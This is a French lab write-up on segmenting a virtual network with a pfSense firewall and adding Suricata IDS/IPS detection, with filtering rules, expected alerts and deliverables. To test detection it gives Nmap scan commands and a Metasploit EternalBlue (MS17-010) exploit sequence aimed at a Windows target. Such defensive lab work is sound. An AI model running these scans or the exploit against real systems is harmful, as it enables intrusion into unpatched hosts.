TP 4.
1 : MISE EN PLACE D’UN PARE-FEU
PFSENSE ET SEGMENTATION DU
LABORATOIRE
Objectif : Corriger la vulnérabilité structurelle du laboratoire initial, où toutes les
machines communiquaient librement, en introduisant pfSense comme point de
contrôle central. L’objectif est de créer deux zones réseau distinctes séparées par le
pare-feu, empêchant la machine attaquante (Kali) d’atteindre directement les cibles
(Ubuntu, Windows).
2. Architecture cible — Segmentation réseau
Élément Zone Adresse IP / Mode réseau
Kali Linux (attaquant) WAN — Réseau externe DHCP NAT — 8.0.0.x
simulé
pfSense — Interface WAN WAN Mode NAT (accès Internet)
(eth0)
pfSense — Interface LAN LAN Mode Host-Only — [Link]
(eth1)
Ubuntu Server (cible) LAN — Réseau interne [Link] / Masque /24
Windows (cible) LAN — Réseau interne [Link] / Masque
[Link]
Schéma réseau : pfSense se positionne entre la zone WAN (Kali) et la zone LAN
(Ubuntu + Windows). Toute communication entre les deux zones transite
obligatoirement par le pare-feu, qui applique les règles de filtrage définies par
l’administrateur.
3. Configuration de la VM pfSense
3.1 Interfaces VirtualBox
Interface VM Mode VirtualBox Rôle
Adaptateur 1 NAT WAN — simulation réseau externe / accès Internet
Adaptateur 2 Host-Only LAN — réseau privé interne pour les cibles
3.2 Assignation des interfaces (console pfSense)
Au premier démarrage, pfSense affiche un menu de configuration. Effectuer les
opérations suivantes :
1. Sélectionner l’option 1 : Assign Interfaces
2. Assigner eth0 → WAN (interface NAT)
3. Assigner eth1 → LAN (interface Host-Only)
4. Sélectionner l’option 2 : Set Interface(s) IP address
5. Définir l’IP LAN : [Link] / 24 — Désactiver DHCP6 si proposé
4. Configuration IP des machines clientes
4.1 Ubuntu Server — via Netplan
Éditer le fichier de configuration réseau :
sudo nano /etc/netplan/[Link]
network:
ethernets:
enp0s3:
addresses: [[Link]/24]
gateway4: [Link]
nameservers:
addresses: [[Link]]
version: 2
sudo netplan apply
ip a # Vérifier l'IP [Link]
ping [Link] # Tester la passerelle pfSense
4.2 Windows — via [Link]
Aller dans : Panneau de configuration > Réseau > Propriétés de l’adaptateur >
Protocole Internet version 4 (TCP/IPv4)
Paramètre Valeur
Adresse IP [Link]
Masque de sous-réseau [Link]
Passerelle par défaut [Link]
DNS préféré [Link]
5. Mise en place des règles de filtrage pfSense
Accéder à l’interface web pfSense depuis Ubuntu ou Windows : navigateur →
[Link] Identifiants par défaut : admin / pfSense Chemin : Firewall → Rules
→ WAN ou LAN
Règle 1 — Bloquer tout le trafic par défaut
Champ Valeur
Action Block
Interface WAN
Source any
Destination LAN net
Description Bloquer tout trafic WAN vers LAN par défaut
Règle 2 — Autoriser uniquement HTTP (port 80)
Champ Valeur
Action Pass
Interface WAN
Protocol TCP
Source any
Destination LAN net
Destination Port Range 80 (HTTP)
Description Autoriser uniquement le trafic HTTP vers le LAN
6. Test de blocage — Scan Nmap depuis Kali
Avant mise en place du pare-feu
nmap -sV [Link]
# Résultat : tous les ports ouverts visibles — SSH (22), HTTP (80), SMB
(445)...
Après mise en place des règles pfSense
nmap -sV [Link]
# Résultat attendu :
# Host seems down OR all ports filtered
# Seul le port 80 peut répondre si un service HTTP est actif
Résultat attendu : pfSense filtre tous les paquets venant de Kali sauf sur le port 80.
L’état des ports passe de ‘open’ à ‘filtered’, ce qui indique que le pare-feu intercepte le
trafic avant qu’il n’atteigne les cibles.
TP 4.2 — Détection d’attaques avec un
IDS/IPS (Suricata sur pfSense)
Objectif : Ajouter une couche d’intelligence au pare-feu. Alors que pfSense bloque des
ports, Suricata analyse le contenu même des paquets autorisés pour identifier des
signatures d’attaques connues : exploits, scans, force brute, etc. La combinaison des
deux couches constitue une défense en profondeur.
1. Installation de Suricata
Accéder au gestionnaire de paquets pfSense :
System → Package Manager → Available Packages
Rechercher : suricata
Cliquer sur Install puis Confirm
Attendre la fin de l’installation (statut : Installed)
2. Configuration de Suricata
Assignation à l’interface LAN
Chemin : Services → Suricata → Interfaces → + Add
Paramètre Valeur
Interface LAN
Send Alerts to System Log Activé (coché)
Block Offenders (mode IPS) Activé (coché)
Kill States Activé (coché)
Description Surveillance du trafic interne LAN
3. Activation des règles ET Open (Emerging Threats)
Chemin: Services → Suricata → Global Settings → onglet Updates
Cocher : Emerging Threats Open (ETOpen — gratuit, pas d’inscription requise)
Cliquer : Update Rules pour télécharger les signatures
Aller dans l’onglet Categories et activer les catégories souhaitées (emerging-scan,
emerging-exploit, emerging-malware)
4. Modes de fonctionnement
Mode Configuration Comportement
IDS — Block Offenders Génère des alertes dans l’onglet Alerts. N’interrompt
Détection seule = OFF pas le trafic. Utilisé pour l’audit et l’analyse forensique.
IPS — Block Offenders Détecte la menace ET bannit automatiquement l’IP
Prévention = ON source. Tout nouveau paquet de cette IP est rejeté par
active pfSense.
En production, il est recommandé de commencer en mode IDS pour valider les règles
et éviter les faux positifs, puis de passer en mode IPS une fois les règles affinées.
Simulation d’attaques et vérification
Test 1 — Scan Nmap (depuis Kali)
nmap -sS -p- [Link]
nmap -A -sV [Link]
Alertes attendues dans Services → Suricata → Alerts :
Signature détectée Catégorie Gravité
GPL SCAN nmap SYN SCAN Haute
ET SCAN Nmap Scripting Engine User-Agent SCAN Haute
ET SCAN Potential SSH Scan SCAN Moyenne
Test 2 : Attaque Metasploit — EternalBlue SMB (depuis Kali)
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [Link]
set LHOST 8.0.0.x # IP de Kali
run
Alertes attendues dans Suricata :
Signature détectée Catégorie Gravité
ET EXPLOIT MS17-010 EternalBlue SMB EXPLOIT Critique
ET POLICY SMB NT Create AndX Request POLICY Haute
ET TROJAN Metasploit Meterpreter TROJAN Critique
Résultat en mode IPS — Blocage automatique de Kali
Après détection, l’IP de Kali est automatiquement ajoutée à la liste de blocage pfSense
via Suricata.
Vérification depuis Kali — toutes les connexions échouent :
ping [Link] # Request timeout
nmap [Link] # Host down — aucun paquet ne passe
Vérification dans pfSense : Services → Suricata → Blocked
Résultat attendu : L’IP de Kali apparaît dans la liste Blocked avec l’heure de détection
et la règle déclenchée. Toute tentative de connexion ultérieure est rejetée sans
réponse.
5. Analyse — Différence entre Pare-feu et IDS/IPS
Critère Pare-feu (pfSense) IDS/IPS (Suricata)
Mécanisme Filtrage par ports, IP, protocoles Analyse
(DPI)
du contenu des paquets
Niveau OSI inspecté Couches
transport)
3 et 4 (réseau / Couches 4 à 7 (transport /
application)
Détecte les attaques Non — bloque des flux, pas des Oui — reconnaît des signatures
? menaces d’exploits
Exemple de HTTP port 80 autorisé → Détecte le payload malveillant dans
limitation attaque web passe ce HTTP
Réaction Blocage statique sur règle Blocage dynamique automatique à
manuelle la détection
Complémentarité Réduit la surface d’attaque Comble les angles morts du pare-
feu
6. Récapitulatif des livrables
Livrable Description Statut
Schéma réseau Architecture pfSense au centre, zones Fourni + capture requise
WAN/LAN
Configuration pfSense Interfaces WAN/LAN + règles de filtrage Documenté
requise
+ capture
Preuve de blocage Scan échoué après mise en place du Capture requise
Nmap pare-feu
Alertes Suricata Onglet Alerts avec détection d’attaques Capture requise
réelles
IP Kali bloquée Onglet Blocked montrant le ban Capture requise
automatique
Analyse comparative Pare-feu vs IDS/IPS — tableau explicatif Fourni dans ce rapport
Conclusion
Un pare-feu seul est insuffisant. Si un port autorisé (ex. HTTP :80) transporte une
attaque, pfSense le laisse passer car il ne lit pas le contenu. Suricata analyse le payload
réel et agit avant que l’exploit atteigne la cible. Les deux couches sont
complémentaires et non substituables — c’est le principe de défense en profondeur
(Defense in Depth).